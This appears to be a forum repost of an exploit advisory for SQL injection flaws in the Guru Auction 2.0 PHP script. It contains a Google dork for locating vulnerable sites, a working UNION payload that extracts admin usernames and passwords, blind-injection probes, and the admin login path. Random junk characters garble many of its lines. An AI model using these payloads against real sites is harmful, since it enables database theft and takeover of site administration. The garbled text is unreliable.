Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
" O; [: Y! Q# j; f% l/ A$ u
; p1 P4 V2 S$ V. T/ X- D作者 : v3n0m& Y3 _( Q5 g$ D
应用 : Guru Auction 2.0! Y4 w# ~7 f- d7 D# I
Price : $49
, V$ {9 r+ V: j hVendor : http://www.guruscript.com/9 C' @% l! {( P6 |, \2 k& M- Z/ b6 k
Google Dork : inurl:subcat.php?cate_id=
, R0 j2 Z0 p0 ~ 3 T5 Q2 P5 C# y4 X. M4 A
SQLi p0c:/ D) ~7 X U6 A7 A) Y* U0 S
~~~~~~~~~~2 J2 x# R! w2 e3 [& h
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--
, x8 o0 V; E p. y* c
# a; R: O# _. y. C
# p0 o4 g6 ?. s: f' x) }+ Q( d盲注 p0c:
+ f: J, A' X: |, j J~~~~~~~~~~
. X; u' @1 k8 Jhttp://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true: C$ e7 w, n$ ~* v% @6 P! I
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false! ]& |$ h+ o. P' J6 a' k, \
3 A" j3 U7 ~* a管理登录入口:
3 |. _8 J9 E6 o0 ~! B$ h, X~~~~~~~~~~
) i1 o: |0 s) \http://domain.tld/[path]/admin/
5 v) O2 Y5 m3 g6 r& f1 e( v n) F |
发表于 2012-12-31 09:24:05
收藏
支持
反对